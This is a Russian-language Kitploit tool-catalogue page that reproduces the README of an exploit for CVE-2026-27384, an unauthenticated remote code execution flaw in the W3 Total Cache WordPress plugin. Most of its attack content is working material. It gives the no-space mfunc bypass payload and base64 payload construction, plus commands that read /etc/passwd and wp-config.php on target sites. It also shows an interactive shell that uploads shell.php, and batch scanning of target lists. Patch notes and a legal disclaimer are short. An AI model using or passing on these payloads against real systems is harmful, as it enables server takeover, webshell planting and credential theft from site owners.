Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-27384 — Автоматизированный сканер и эксплойт для CVE-2026-27384, неаутентифицированное RCE в W3 Total Cache через инъекцию mfunc/eval(). Возможности: автообнаружение, 48 вариантов полезной нагрузки, интерактивная оболочка и пакетное сканирование. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-27384
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Автоматизированный сканер и эксплойт для CVE-2026-27384, неаутентифицированное RCE в W3 Total Cache через инъекцию mfunc/eval(). Возможности: автообнаружение, 48 вариантов полезной нагрузки, интерактивная оболочка и пакетное сканирование.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE Scanner

Плагин: W3 Total Cache Слаг плагина: w3-total-cache ID CVE: CVE-2026-27384 Оценка CVSS: 9.8 (Критический) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Тип уязвимости: Неавторизованное произвольное выполнение кода (внедрение кода через eval()) Затронутые версии: <= 2.9.1 Исправленная версия: 2.9.2 Дата публикации: 24 февраля 2026 г. Исследователь: CODE WHITE GmbH


📌 Краткое описание уязвимости

Функция Dynamic Fragment Caching плагина W3 Total Cache (система mfunc/mclude) выполняет PHP-код, встроенный в HTML-комментарии, с помощью eval(). Токен , предназначенный для защиты этой функции, может быть обойдён из-за комбинации нескольких ошибок в коде.

W3TC_DYNAMIC_SECURITY

Результат: Без аутентификации, просто отправив комментарий на WordPress, можно выполнить произвольный PHP-код на сервере.


🔍 Краткая таблица уязвимости

ПолеЗначение
ID CVECVE-2026-27384
CVSS9.8 Critical
ТипВнедрение кода → RCE (CWE-94)
Затронутая версия<= 2.9.1
Исправленная версия2.9.2
АутентификацияНе требуется
Взаимодействие пользователяНе требуется
ПредусловиеW3TC_DYNAMIC_SECURITY должен содержать метасимволы regex

⚙️ Технический анализ

Функция: mfunc / mclude

Функция Dynamic Fragment Caching W3TC позволяет разработчикам встраивать PHP-код в HTML через специальные теги-комментарии:

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC обрабатывает эти теги при обслуживании страницы из кеша: встроенный PHP выполняется через eval(), результат подставляется вместо блока комментария.


Ошибка 1 — Отсутствие preg_quote() (PgCache_ContentGrabber.php)

root@kitploit:~
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor
        // preg_quote() YOK → token regex pattern gibi davranır
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

Если токен равен '.', то regex становится <!--\s*mfunc\s*.(.*)--> → любой одиночный символ подставляется вместо токена.


Ошибка 2 — Несоответствие \s* и \s+

ФункцияШаблонПоведение
_parse_dynamic() — выполняетmfunc\s*TOKENПринимает 0 пробелов ✅
strip_dynamic_fragment_tags_from_string() — очищаетmfunc\s+TOKENТребуется минимум 1 пробел ❌
root@kitploit:~
Пейлоад атакующего:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      Между mfunc и токеном ПРОБЕЛА НЕТ

strip функция:   \s+ → не совпадает → пейлоад ОСТАЁТСЯ
регулярка выполнения:    \s* → совпадает  → eval() ВЫПОЛНЯЕТСЯ

Ошибка 3 — Отсутствие проверки токена (_has_dynamic())

root@kitploit:~
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Полная цепочка атаки

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (метасимвол regex — любой символ)
        │
        ▼
Атакующий отправляет комментарий:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Шаблон: mfunc\s+[^\s]+  →  требуется \s+, пробела нет → ОБХОД ✅
        │
        ▼
Комментарий сохраняется в базе данных, страница кешируется
        │
        ▼
Второй HTTP-запрос → W3TC обслуживает из кеша
  _has_dynamic() → mfunc\s*.  → 'A' совпадает → возвращает true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Шаблон: mfunc\s*.  → 'A' совпадает
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓

🔴 Влияние атаки

Без аутентификации можно выполнить произвольный PHP-код на сервере с правами веб-сервера:

  • ✅ Полный захват сервера
  • ✅ Чтение/запись/удаление файлов WordPress и базы данных
  • ✅ Установка веб-шелла / бэкдора
  • ✅ Поворот во внутреннюю сеть
  • ✅ Кража учётных данных, ключей API, пользовательских данных

🚀 Установка

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 Использование

Режимы

РежимОписание
autoСканировать сайт → найти страницу комментариев → эксплуатировать (по умолчанию)
exploitПрямая эксплуатация — с URL для отправки
shellИнтерактивная оболочка
detectТолько обнаружение W3TC

Авторежим — Всё автоматически

root@kitploit:~
python w3tc_rce.py https://hedef.com

Сканер выполняет:

  1. Проверяет, установлен ли W3TC
  2. Через sitemap + переходы по ссылкам находит страницы с формой комментариев
  3. Для каждой страницы пробует 48 вариантов пейлоадов
  4. В случае успеха предлагает открыть оболочку

Режим Exploit — Прямой

root@kitploit:~
# команда id
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# читать /etc/passwd
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# читать wp-config.php
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# ID записи вручную
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

Режим Shell — Интерактивный

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

При открытии оболочки автоматически выполняются whoami, hostname, pwd, uname -a:

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Команды: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Режим Detect — Только обнаружение

root@kitploit:~
python w3tc_rce.py https://hedef.com --mode detect
root@kitploit:~
[+] W3TC установлен!
    Версия  : 2.9.1
    Кеш     : True
[!] Версия 2.9.1 УЯЗВИМА (<= 2.9.1)!

Пакетное сканирование

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

С прокси (Burp Suite)

root@kitploit:~
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ Все параметры

ПараметрСокращениеОписаниеПо умолчанию
url—Целевой URL—
--list-lФайл со списком целей—
--mode—Режим работыauto
--cmd—Выполняемая командаid
--post-url—URL страницы с комментариями—
--post-id—ID записи WordPress—
--max-pages—Максимум страниц для паука50
--threads-tКоличество потоков10
--output-oФайл выводаw3tc_results.txt
--proxy—URL прокси—
--no-color—Вывод без цветаFalse
--verbose-vПодробный выводFalse

💀 Структура пейлоада

mfunc No-Space Bypass

root@kitploit:~
Стандартный тег (перехватывается strip):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          есть пробел → \s+ совпадает → strip удаляет

Тег для обхода (обходит strip, eval() выполняется):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        пробела НЕТ → \s+ не совпадает → strip ПРОПУСКАЕТ
                      \s* совпадает → eval() ВЫПОЛНЯЕТСЯ

Base64 Encoding

PHP-код кодируется в base64 для предотвращения проблем с HTML-кодированием:

root@kitploit:~
# Команда: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48 вариантов пейлоада

ГруппаФункцияСимвол обходаКодирование
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*Все функцииA, B, X, 1Сырой

🔄 Поток эксплуатации

root@kitploit:~
1. Обнаружение W3TC
   └─ readme.txt, header, body, каталог плагина

2. Обнаружение системы комментариев
   └─ HTML-форма, REST API, ID записи

3. Внедрение пейлоада (48 вариантов)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML-форма: POST /wp-comments-post.php

4. Триггер кеша
   ├─ 1-й запрос → cache miss → рендер страницы → кешируется
   └─ 2-й запрос → cache hit → _parse_dynamic() → eval()

5. Извлечение вывода
   └─ uid=, whoami, /path/, passwd, wp-config...

🖥️ Примеры вывода

Авторежим

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] Цель: https://hedef.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] Страница комментариев: https://hedef.com/?p=1 (post_id=1)

  [1] Обнаружение W3TC...
[+] W3TC найден! Версия: 2.9.1
  [2] Обнаружение системы комментариев...
[+] Post ID: 1 | Form: True | REST: True
  [3] Внедрение пейлоада (id)...
[i] 48 вариантов пейлоада готово
  [4] Триггер кеша...

[★] RCE УСПЕШНО!
=========================================================
  URL     : https://hedef.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  Команда : id
  Вывод   : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] Результаты сохранены → w3tc_results.txt
[?] Открыть оболочку? (y/n):

Сводка пакетного сканирования

root@kitploit:~
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] Найдено 7 уязвимостей!
[+] Результаты сохранены → w3tc_results.txt

📁 Структура файлов

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # Основной сканер
├── requirements.txt   # Зависимости
└── README.md          # Этот файл

🛡️ Защита / Исправление

МераОписание
Обновление плагинаОбновиться до W3 Total Cache 2.9.2+
Отключение mfuncЕсли W3TC_DYNAMIC_SECURITY не определён, функция не работает
Надёжный токенТокен должен содержать только буквенно-цифровые символы ([a-zA-Z0-9_]+)

Пример безопасного токена (wp-config.php):

root@kitploit:~
// ❌ Опасно — метасимвол regex
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Безопасно — буквенно-цифровой
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

Исправление в версии 2.9.2 (_parse_dynamic()):

root@kitploit:~
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ добавлен preg_quote
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (как минимум 1 пробел)
    ...
);

⚠️ Предупреждение о законности

Этот инструмент и PoC предназначены только для использования на авторизованных системах, в образовательных целях и в рамках тестирования на проникновение. Использование на системах без разрешения является нарушением ст. 243–245 Уголовного кодекса Турции и международного законодательства о киберпреступности. Разработчик не несёт никакой юридической ответственности за неправомерное использование инструмента.


📄 Лицензия

MIT License — Только для образовательных и исследовательских целей.


🔗 Ссылки

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
Скачать инструмент